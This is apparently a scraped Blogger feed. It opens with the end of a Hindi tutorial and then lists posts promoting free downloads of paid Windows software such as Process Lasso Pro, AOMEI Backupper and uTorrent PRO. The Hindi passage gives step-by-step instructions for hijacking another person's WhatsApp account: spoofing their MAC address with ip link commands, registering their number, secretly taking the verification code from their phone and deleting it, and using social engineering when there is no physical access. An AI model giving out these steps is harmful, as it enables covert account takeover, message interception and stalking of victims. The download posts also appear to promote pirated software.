एंड्रॉइड पर, बिजीबॉक्स और टर्मिनल एमुलेटर (Google Play पर मुफ्त में उपलब्ध ऐप्स) इंस्टॉल करें। टर्मिनल में, इंटरफेस की सूची देखने के लिए "आईपी लिंक शो" टाइप करें। उसे पहचानें जिसमें आपका MAC पता है -- इस उदाहरण के लिए, हम eth0 इंटरफ़ेस का उपयोग करेंगे। टर्मिनल एमुलेटर में, "आईपी लिंक सेट एथ0 एड्रेस एक्सएक्स: एक्सएक्स: एक्सएक्स: एक्सएक्स: एक्सएक्स: एक्सएक्स" और "आईपी लिंक सेट एथ 0 ब्रॉडकास्ट एक्सएक्स: एक्सएक्स: एक्सएक्स: एक्सएक्स: एक्सएक्स: एक्सएक्स" दर्ज करें, जहां eth0 इंटरफ़ेस है जिसे आप पहचाना गया है और XX:XX:XX:XX:XX:XX आपके लक्ष्य का MAC पता है। यह जांचने के लिए कि आपने अपना मैक पता सफलतापूर्वक बदल लिया है, "आईपी लिंक शो eth0" दर्ज करें।
6. अपने फोन में व्हाट्सएप इंस्टॉल और कॉन्फ़िगर करें। व्हाट्सएप सेट करने के लिए अपने लक्ष्य का फोन नंबर दर्ज करें न कि अपना। यह आपको उनके संदेश प्राप्त करने और उनके खाते से संदेश भेजने की अनुमति देगा।
7. अपने लक्ष्य के फ़ोन से पुष्टिकरण कोड प्राप्त करें। व्हाट्सएप कॉन्फ़िगरेशन प्रक्रिया के हिस्से के रूप में यह कोड उनके फोन नंबर पर भेजा जाएगा। सत्यापन कोड प्राप्त करने के लिए उनके फ़ोन को अंतिम बार एक्सेस करें। संकेत मिलने पर इसे अपने फ़ोन के WhatsApp में दर्ज करें, और आप जाने के लिए तैयार हैं।
यदि आप नहीं चाहते कि आपका लक्ष्य आपके स्पूफिंग के बारे में पता लगाए, तो उनके फ़ोन से पुष्टिकरण कोड को देखने से पहले उसे हटाना सुनिश्चित करें।
8. जब आपको अपने लक्ष्य के व्हाट्सएप खाते तक पहुंचने की आवश्यकता नहीं है, तो अपने मैक पते को वापस वही बदलें जो वह था। इसे बदलने के लिए निर्देशों को दोहराएं, लेकिन इस बार इसे अपने लक्ष्य के बजाय अपने मूल पते में बदलें। यह आपके फोन को मूल रूप से पुनर्स्थापित करेगा, जिससे यह सुनिश्चित होगा कि इंटरनेट के उपयोग या कनेक्टिविटी के साथ भविष्य में कोई समस्या नहीं है।
यदि आप मैक पता प्राप्त करने के लिए लक्ष्य के फोन तक नहीं पहुंच सकते हैं तो आप वाईफ़ाई स्कैनर का उपयोग कर सकते हैं। यदि आपको कोड नहीं मिल रहा है क्योंकि आपके पास पीड़ित के फोन तक भौतिक पहुंच नहीं है तो आप सोशल इंजीनियरिंग का उपयोग कर सकते हैं।</p>
</div>
ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com1tag:blogger.com,1999:blog-3384397065802397633.post-45875844151832644512019-12-03T07:36:00.015-08:002021-11-30T09:51:11.902-08:00How to Download And Install Process Lasso Pro For PC<div><b>How to Download And Install Process Lasso Pro For PC</b><br></div><div><b><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEho80-RBiEdNtQD6d4vUNmRyT8L0b44c1zMm4a6b2Zu9oolp407hkfJS3PjLB7_6nVC2LsnSAe3rgF8zj3l30zag0weYfUk1HgBck3WlzX8RuSpTrUSVE1Lsfnuh2_FCbHGkf9p36UY6y7i/s1600/1575387102938225-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEho80-RBiEdNtQD6d4vUNmRyT8L0b44c1zMm4a6b2Zu9oolp407hkfJS3PjLB7_6nVC2LsnSAe3rgF8zj3l30zag0weYfUk1HgBck3WlzX8RuSpTrUSVE1Lsfnuh2_FCbHGkf9p36UY6y7i/s1600/1575387102938225-0.png" width="400">
</a>
</div><br></b></div>🍁 Process Lasso Pro 9.2.0.32 is an advanced process priority optimizer software to improve your computer’s performance, stability and responsiveness. Process Lasso is a unique optimizer, designed to manage and edit how your computer’s processes and services run. It can set the priority of running processes, manage active applications, monitor RAM usage, and intelligently adjusts the priority of running programs. Process Lasso Pro Full Version allows for automating various process related tasks. It offers a robust list of capabilities including default process priorities, termination of disallowed processes, logging of processes, keep processes running with auto-restart, and so much more.
<b:if cond='data:blog.url == data:blog.canonicalHomepageUrl + "2019/12/how-to-download-and-install-process"'>
<!-- a item page from august 2014 with post-title 'foo'-->
<div> Ankit</div>
</b:if>ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-67818244964946844512019-12-03T07:36:00.005-08:002019-12-03T07:36:55.907-08:00How to Download And Install AOMEI Backupper Professional For PC FREE<div><b>How to Download And Install AOMEI Backupper Professional For PC FREE</b><b><br></b></div><div><b><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMtlv17Jg2EPmCH_pXM_wqL7BRHFGSzqD4sZbnnJXPNfRrPglokmqtwgoW4kQ1gwMwkGx5XjutSPopJ4Z6HZuSYohqNSBvI7eP5YGuCEUm5UTKSZZEvfM6jBbdAkLoUT3EN_U3UflcU9i6/s1600/1575387315744251-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMtlv17Jg2EPmCH_pXM_wqL7BRHFGSzqD4sZbnnJXPNfRrPglokmqtwgoW4kQ1gwMwkGx5XjutSPopJ4Z6HZuSYohqNSBvI7eP5YGuCEUm5UTKSZZEvfM6jBbdAkLoUT3EN_U3UflcU9i6/s1600/1575387315744251-0.png" width="400">
</a>
</div><br></b></div><div><b><br></b></div>💞 AOMEI Backupper Professional 5.0.0 is a powerful yet easy-to-use backup and recovery software with advanced functionality to backup, sync, clone, and restore data. It allows you to backup your files, folders, partitions, hard disk drives, applications and operating system. With this function, you can make a backup of your important data that can be restored if something goes wrong. AOMEI Backupper Professional includes an advanced disk imaging and cloning tool which can be used to create an image file of your hard disk drive, as well as system migration to hard drive/SSD drive even with different sizes.ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-67704671518537216942019-12-03T07:36:00.001-08:002019-12-03T07:36:15.644-08:00How to Download And Install JPEGmini Pro For PC FREE<div><b>How to Download And Install JPEGmini Pro For PC FREE</b></div><div><b><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx_IopUbQZRmK1Rla-2hBnEjzD-JEgZgA45SZG4pf0k5_q4FcDJ_qJlgLd3k3XWTUxTTvhZ0rcFJcW5gTnv75V1QFaHaXTM8Ix_aU5txAokZR9UjPTYuvdUsquiBvKs5q_I_HF-6mCl8RQ/s1600/1575387242419758-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx_IopUbQZRmK1Rla-2hBnEjzD-JEgZgA45SZG4pf0k5_q4FcDJ_qJlgLd3k3XWTUxTTvhZ0rcFJcW5gTnv75V1QFaHaXTM8Ix_aU5txAokZR9UjPTYuvdUsquiBvKs5q_I_HF-6mCl8RQ/s1600/1575387242419758-0.png" width="400">
</a>
</div><br></b></div>☘️ JPEGmini Pro 2.1.0.1 is a simple and advanced photo optimization tool that enables you to reduce the file size of JPEG images while still retaining the same quality. It provides you an end-to-end photo optimization solution including optimizations, manipulations, and delivery. JPEGmini is trusted by thousands of Image Perfectionists to get the smallest file size of their JPEGs without compromising quality. With its patented image optimization technology, JPEGmini Pro reduces the file size of your JPEG photos significantly. Imagine, with this tool you can reduce the size of the image quickly and very easily of course.ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-66668480030354492862019-12-03T07:34:00.001-08:002019-12-03T07:34:02.070-08:00How To Download And install Able2Extract Professional Software For PC<div><b>How To Download And install Able2Extract Professional Software For PC</b><br></div><div><b><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlfRE9jDw0qoRGDgmeUpW7JU6h_rwV-fACusOQLy6IBchCc0-1SbcXSz1KUNGEcVXYR5yWi4P3LbhE0n-I0HEELwYOBtxHQmYvZzoFqHN5LCiwO2O38BWSwrh_8D6U7wIv08PHbAVnV-es/s1600/1575386852953281-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlfRE9jDw0qoRGDgmeUpW7JU6h_rwV-fACusOQLy6IBchCc0-1SbcXSz1KUNGEcVXYR5yWi4P3LbhE0n-I0HEELwYOBtxHQmYvZzoFqHN5LCiwO2O38BWSwrh_8D6U7wIv08PHbAVnV-es/s1600/1575386852953281-0.png" width="400">
</a>
</div><br></b></div><div>This is an advanced PDF solution that gives you the most conversion options and content control over your documents. Convert, create and edit PDF documents instantly. Able2Extract is the only PDF converter on the market that lets you convert only the content you need. Whether you need a formatted spreadsheet or editable Word doc, you always get the precise conversion results you want. Able2Extract PDF conversion algorithm can convert the most complex PDF content to Excel, Word, PowerPoint, AutoCAD, HTML, and more. Convert both native and scanned PDF to editable formats with Able2Extract Professional’s OCR technology. Take PDFs that have been created from scanned paper documents</div><div><br></div><div>🔹Open, Select and Convert. Save time on the conversion process. Simply open your file from the one-click Command Toolbar. Select the text you want converted. Then choose from over 10 formats to convert to: Excel, Word, PowerPoint, and more.</div><div>🔹 Create PDF Files. Create industry-standard PDF documents that are compatible with other PDF software and viewing applications. Quickly create PDFs by using either the Able2Extract Professional 14 application or the virtual print driver.</div><div>🔹 Quick Copy Paste Portions to Clipboard. In some cases, you may not need a full file conversion. For such situations, Able2Extract offers you the ability to copy and paste text to the clipboard. This will let you quickly get sections of text into other file formats.</div><div><br></div><div>Title: Able2Extract Professional v14.0.8.0</div><div>License: Shareware</div><div>Language: English</div><div>OS: Windows</div>ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com1tag:blogger.com,1999:blog-3384397065802397633.post-24017185397045192782019-12-03T07:32:00.003-08:002019-12-03T07:32:39.331-08:00How to Download And Install Avira Phantom VPN Pro Software For PC<div><b>How to Download And Install Avira Phantom VPN Pro Software For PC</b><br></div><div><b><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDzg74asRX-kfBAkajUUxuiWeRLMiwirfTe_wn4bYkKHW__pWOv0yntulAdkznyaNdAf4iEbOYA-hpnK5l4HrL6w35IjX-pLIRVDWnirmIEoz3Qcy3jBXt2JX1ldYKOQs1DikbU9ZY70ul/s1600/1575387074735981-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDzg74asRX-kfBAkajUUxuiWeRLMiwirfTe_wn4bYkKHW__pWOv0yntulAdkznyaNdAf4iEbOYA-hpnK5l4HrL6w35IjX-pLIRVDWnirmIEoz3Qcy3jBXt2JX1ldYKOQs1DikbU9ZY70ul/s1600/1575387074735981-0.png" width="400">
</a>
</div><br></b></div>📖 Avira Phantom VPN Pro 2.26.1.17464 is a powerful VPN software that lets you secure your connection with advanced protection methods when you’re surfing on the internet. It enables you to connect to various Internet network includes access to all web sites and online services, despite being blocked by your ISP (Internet Service Provider). Avira Phantom VPN allows you to surfing safely and easily. It lets you to surf anonymously, improving the confidentiality of data and other user activity, even offer all the benefits of a virtual private network.ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com1tag:blogger.com,1999:blog-3384397065802397633.post-54107151771895054722019-12-03T07:32:00.001-08:002019-12-03T07:32:14.591-08:00How to Download And Install MiniTool Partition Wizard Software For PC<div><b>How to Download And Install MiniTool Partition Wizard Software For PC</b></div><div><b><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaAipFIaEVcFBRBORxHaovjyspL9o5HZ59040hmERQx__4RKuqJzddzIOFDnqTOsfKOqNyNd8oG3Wsed9g7y0HTYtRgSMWkk5i4JcXRhpOObYhR9U2EKu6ZOOhgjhKItB6N-sQE2dfsPEV/s1600/1575387028602723-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaAipFIaEVcFBRBORxHaovjyspL9o5HZ59040hmERQx__4RKuqJzddzIOFDnqTOsfKOqNyNd8oG3Wsed9g7y0HTYtRgSMWkk5i4JcXRhpOObYhR9U2EKu6ZOOhgjhKItB6N-sQE2dfsPEV/s1600/1575387028602723-0.png" width="400">
</a>
</div><br></b></div>🦋 MiniTool Partition Wizard 11.5 Technician is one of the best disk partition manager, which is designed for disk partition management, optimization, and data protection. It comes with so many powerful features that consists of a variety of useful tools and functions on disk partition management. MiniTool Partition Wizard is specifically designed for hard disk partition management, however it also offers a variety of tools for data recovery, disk cloning, system migration, copy partition and many more.ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-71626413850727472292019-12-03T00:38:00.001-08:002019-12-03T00:38:17.181-08:00How to Download And Install Devolutions Remote Desktop Manager Enterprise Edition v2019.1.39.0 For PC <div><b>How to Download And Install Devolutions Remote Desktop Manager Enterprise Edition v2019.1.39.0 For PC </b></div><div><b><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ4OacIwWXwC_Ucc7-HSPPFAaH3gMkhouNiJlOlG_ZOUfDAGUS9rCfQi1sTGQZiZCPQXS1Z3xuThuoRpOwawkKFRo1NC9Y7pTq1Gj4SV8pjln6c93MwMGg6zsXa-eoUoxBjLYm56hp71kq/s1600/1575362290636543-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ4OacIwWXwC_Ucc7-HSPPFAaH3gMkhouNiJlOlG_ZOUfDAGUS9rCfQi1sTGQZiZCPQXS1Z3xuThuoRpOwawkKFRo1NC9Y7pTq1Gj4SV8pjln6c93MwMGg6zsXa-eoUoxBjLYm56hp71kq/s1600/1575362290636543-0.png" width="400">
</a>
</div><br></b></div><div>This is a practical and reliable software solution worth having for administrators who need to manage and organize all their remote sessions.</div><div><br></div><div>With Remote Desktop Manager Enterprise Edition you can add, edit, delete organize or find your remote connection quickly. Compatible with Microsoft Remote Desktop or with Terminal Services, it’s a good replacement of the Remote Desktops Snap-in.</div><div><br></div><div>💎 Features</div><div>• Connect any session types such as RDP, SSH or VNC</div><div>• Save and manage all the passwords</div><div>• Integrate existing password managers</div><div>• Share and centralize all the remote connections</div><div>• Secure the organization via the best encryption algorithm</div><div>• View connection logs</div><div>• Protect sensitive data</div><div>• Share and link attachments</div><div>• Browse shared folders or cloud repositories</div><div>• Automatic VPN connection</div><div>• Group all the sessions in specific folders</div><div>• Quick connect with template support</div><div>• Quick access via tray icon context menu</div><div>• Online backup service</div><div>• Automatic login</div><div>• Microsoft Hyper-V dashboard</div><div>• Share session settings between multiple users</div><div>• Integrated password managers</div><div>• Real-time connection overview</div><div><br></div><div>Title: Devolutions Remote Desktop Manager Enterprise Edition v2019.1.39.0</div><div>Developer: Devolutions inc</div><div>License: Shareware</div><div>Language: Multilingual</div><div>OS: Windows</div>ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-65163689771756800672019-12-03T00:36:00.001-08:002019-12-03T00:36:48.834-08:00How to Download And Install µTorrent PRO v3.5.5 Build 45291 Stable For PC <p dir="ltr">How to Download And Install µTorrent PRO v3.5.5 Build 45291 Stable For PC </p><p dir="ltr">uTorrent a tiny BitTorrent client for Windows sporting a very small footprint. µTorrent is an efficient, feature rich and built for speed. That means ultra-efficient downloads of mega-sized files. The program was designed to use as little CPU, space and memory as possible while offering all the functionalites expected from advanced clients. With uTorrent Web, you can download files faster and contribute by sharing files and bandwidth. Most of the features present in other BitTorrent clients are present in µTorrent, including bandwidth prioritization, scheduling, RSS auto-downloading and Mainline DHT. Additionally, µTorrent supports the Protocol Encryption joint specification and peer exchange. µTorrent was written with efficiency in mind. Unlike many torrent clients, it does not hog valuable system resources.<br>
Various icon, toolbar graphic and status icon replacements are available, and creating your own is very simple. µTorrent web also has support for localization, and with a language file present, will automatically switch to your system language. If your language isn’t available, you can easily add your own, or edit other existing translations to improve them!</p>
<p dir="ltr"><tt>Features of uTorrent PRO</tt><br>
⏺ Protect your computer with integrated antivirus<br>
⏺ Get the codecs you need to enjoy HD video<br>
⏺ Easily move files to your favorite devices<br>
⏺ No advertisements</p>
<p dir="ltr">Title: µTorrent PRO v3.5.5 Build 45291 Stable<br>
License: Shareware<br>
Language: Multilingual<br>
OS: Windows</p>ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com0tag:blogger.com,1999:blog-3384397065802397633.post-51203584323272792019-12-03T00:35:00.001-08:002019-12-03T00:35:59.307-08:00How to Download And Install Wondershare Software For PC<div><b>How to Download And Install Wondershare Software For PC </b></div><div><b><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-8SyrZ6aebyLYte1_TIjNwoZIOgeuY4fCQpfZsI2RLNgrPb-usLjNjZUHCbXL9DkPwbPfcjsDDBxwZ2zVoWz7niW1Q-P7Wm6IIbNP0mncqEspYDskFf-2XN1ybxZ9qVUriAKMRbs32JqQ/s1600/1575362136917246-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-8SyrZ6aebyLYte1_TIjNwoZIOgeuY4fCQpfZsI2RLNgrPb-usLjNjZUHCbXL9DkPwbPfcjsDDBxwZ2zVoWz7niW1Q-P7Wm6IIbNP0mncqEspYDskFf-2XN1ybxZ9qVUriAKMRbs32JqQ/s1600/1575362136917246-0.png" width="400">
</a>
</div><br></b></div><div>Filmora – A video editor for all creators. Filter, Overlays, Transitions and Custom Titles. Create Without Limits. Discover infinite ways to express yourself. Achieve a refined look with endless effects.</div><div><br></div><div>➜ Action Cam Tool</div><div>➜ Correct lens distortion</div><div>➜ Clean up your audio</div><div>➜ New speed controls</div><div>➜ Instant Cutter</div><div>➜ Trim or merge clips quickly</div><div>➜ Instant export</div><div><br></div><div>Wondershare Filmora allows you to import video clips of various formats, then save them to the disk as a different type of file. The list of supported formats includes several popular extensions, such as AVI or MP4, but also WebM, TS or MPEG-2. Moreover, you can export the audio streams only, as MP3s or the video in HTML5 format.</div><div><br></div><div>Wondershare Filmora is a powerful application for anyone trying to make the first steps in learning video editing thanks to the easy interface, clean look and straightforward commands. The program is intended to use complex editing functions with simple commands, making it ideal for beginners.</div><div><br></div><div>Developer: Wondershare Software</div><div>License: Shareware</div><div>Language: Multilingual</div><div>OS: Windows</div><div><div>🔹 System Requirements</div><div><br></div><div>– Supported OS: Windows 7/Windows 8.1/Windows 10 (64 bit OS)</div><div>– Processor: Intel i3 or better multicore processor, 2GHz or above.</div><div>– (Intel 6th Gen or newer CPU recommended for HD and 4K Videos)</div><div>– RAM: 4 GB RAM (8GB required for HD and 4K videos)</div><div>– 2 GB vRAM (4GB required for HD and 4K videos)</div><div>– Graphics: Intel HD Graphics 5000 or later; NVIDIA GeForce GTX 700 or later; AMD Radeon R5 or later</div><div>– Disk: At least 10GB free hard-disk space for installation (SSD-Solid State Disk recommended for editing HD and 4K videos)</div></div><div><br></div>ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com1tag:blogger.com,1999:blog-3384397065802397633.post-21999833628370769432019-12-03T00:32:00.001-08:002019-12-03T00:32:48.284-08:00How to Download And Install Wondershare AllMyTube v7.4.5.0 For PC<div><b>How to Download And Install Wondershare AllMyTube v7.4.5.0 For PC </b><br></div><div><b><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3K9-_dNDtW4jFyWGCcTePWYQzJeDvUhw28uNoCgxptOxH4y3-UyUmZZBXc2CUdi57Z9YKvxbKwNEMJ2wHmWz5xlFbFWsFQ0IxzaaA5ZeUkHLdItqD1X-Ttq_LrlaRrd0NROUptLEUpv8g/s1600/1575361962256516-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3K9-_dNDtW4jFyWGCcTePWYQzJeDvUhw28uNoCgxptOxH4y3-UyUmZZBXc2CUdi57Z9YKvxbKwNEMJ2wHmWz5xlFbFWsFQ0IxzaaA5ZeUkHLdItqD1X-Ttq_LrlaRrd0NROUptLEUpv8g/s1600/1575361962256516-0.png" width="400">
</a>
</div><br></b></div><div>AllMyTube is more than a smart YouTube downloader – it’s a high-quality YouTube converter, too. With this and many other essential features, AllMyTube can make your movie watching experience worry-free, so you can just enjoy more.</div><div><br></div><div>💎 Downloads videos from YouTube, Hulu, Facebook, Megavideo, Vimeo, Metacafe, VEVO, Liveleak , etc. more than 100 video sharing sites.</div><div>💎 Extracts MP3 from YouTube, convert downloaded videos to all popular formats and devices like iPad 2, iPod touch, iPhone 4S, Android, etc.</div><div>💎 Now download videos 3X faster from hundreds of video websites.</div><div>💎 Converts YouTube videos to popular video formats: Converts downloaded videos to MP4, AVI, MPG, MKV, WMV, M4V, MOV, ASF, DV, etc. It’s the all-in-one YouTube video converter!</div><div>💎 Extracts original audio from YouTube: Tears audios off videos and save as MP3, M4A, AC3, AAC, WMA, WAV, OGG, APE, MKA, AU, AIFF, FLAC, M4B, etc.</div><div><br></div><div><br></div><div>Title: Wondershare AllMyTube v7.4.5.0</div><div>Developer: Wondershare Software</div><div>License: Shareware</div><div>Language: Multilingual</div><div>OS: Windows</div><div><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizYrWT-FljGJ095imidq4dA6ra7xhGWf2jDMODRkcm-KXsGwE_5jWzNU-CTHrlabXavwIRS4lbbj5enqsMfaEXe-UhI8wQJElbw-i3rFgVihp8VN37_WX3PTM_rz48NJOy3jgu0r91hG18/s1600/1575361958208415-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizYrWT-FljGJ095imidq4dA6ra7xhGWf2jDMODRkcm-KXsGwE_5jWzNU-CTHrlabXavwIRS4lbbj5enqsMfaEXe-UhI8wQJElbw-i3rFgVihp8VN37_WX3PTM_rz48NJOy3jgu0r91hG18/s1600/1575361958208415-1.png" width="400">
</a>
</div><br></div>ANKIT DALALhttp://www.blogger.com/profile/05457339890697420257noreply@blogger.com0